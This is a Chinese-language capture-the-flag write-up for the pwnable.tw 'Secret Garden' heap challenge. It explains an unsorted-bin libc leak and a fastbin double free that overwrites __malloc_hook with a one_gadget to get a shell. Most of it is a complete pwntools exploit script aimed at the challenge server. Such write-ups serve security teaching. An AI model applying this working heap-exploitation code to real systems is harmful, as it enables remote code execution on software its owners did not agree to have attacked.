PWNABLE.TW-Secret Garden-WP

Posted on Apr 4, 2021

这道题其实很简单,就是 unsorted bin 的 leak 加上一个 house of spirit,我 pwn 它可能主要还是为了减轻不做题的罪恶感。

visit 这个功能可以输出,我们只要释放一个 unsorted bin,再申请一个大小为 0 的堆块就可以 leak 出 main_arena,从而算出 libc 基址(关于 unsorted bin 的 leak 原理可见我的这篇文章)。

然后是 remove 功能这里,这个 v1 实际上是一个指向花朵结构体的指针,并没有对 double free 进行检测,自然地可以想到通过 fastbin double free 实现 house of spirit 打 __malloc_hook getshell。

这里要说的是 one_gadget 通过 malloc 触发的时候全部失效,但是可以通过 malloc_printerr 来触发,只需要触发一个异常就可以了,比如 double free。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

def alloc(length,name,color):
    sh.sendlineafter('choice : ','1')
    sh.sendlineafter("name :",str(length))
    if (length != 0):
        sh.sendafter("flower :",name)
    sh.sendlineafter("flower :",color)

def visit():
    sh.sendlineafter('choice : ','2')

def remove(index):
    sh.sendlineafter('choice : ','3')
    sh.sendlineafter("garden:",str(index))

def clean():
    sh.sendlineafter('choice : ','4')

#sh = process("./secretgarden")
sh = remote("chall.pwnable.tw",10203)
elf = ELF("./secretgarden")
libc = ELF("./libc_64.so.6")

alloc(240,'index:0','index:0')
alloc(16,'index:1','index:1')
remove(0)
alloc(0,'','index:2')

visit()
sh.recvuntil("flower[2] :")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - (libc.sym["__malloc_hook"] + 0x10) - 88
malloc_hook = libc_base + libc.sym["__malloc_hook"]
alloc_addr = malloc_hook - 0x23
one_gadget = libc_base + 0xef6c4
log.success("libc_base:" + hex(libc_base))

alloc(0x78,'index:3','index:3')
alloc(0x68,'index:4','index:4')
alloc(0x68,'index:5','index:5')
alloc(0x10,'index:6','index:6')

remove(6)
remove(4)
remove(5)
remove(4)

alloc(0x68,p64(alloc_addr),'index:7')
alloc(0x68,'index:8','index:8')
alloc(0x68,'index:8','index:8')
alloc(0x68,'a' * 0x13 + p64(one_gadget),'index:9')

remove(0)
remove(0) # trigger malloc_printerr

sh.interactive()